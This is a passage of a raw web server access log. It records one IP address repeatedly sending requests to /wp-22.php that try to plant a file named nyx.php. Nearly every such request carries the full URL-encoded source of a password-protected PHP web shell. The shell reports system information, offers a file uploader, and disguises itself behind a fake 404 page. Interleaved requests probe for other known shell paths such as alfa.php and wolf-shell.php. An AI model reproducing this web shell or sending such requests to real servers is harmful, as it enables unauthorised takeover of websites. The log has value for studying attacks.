B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:51 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /about.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /baindex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp_class_datalib.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp-content/alfa.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp-includes/images/media/wp-conflg.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:53 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:53 +0530] "GET /date.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:54 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:55 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:56 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:57 +0530] "GET /wp-content/themes/wolf-shell.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:58 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:59 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:03 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3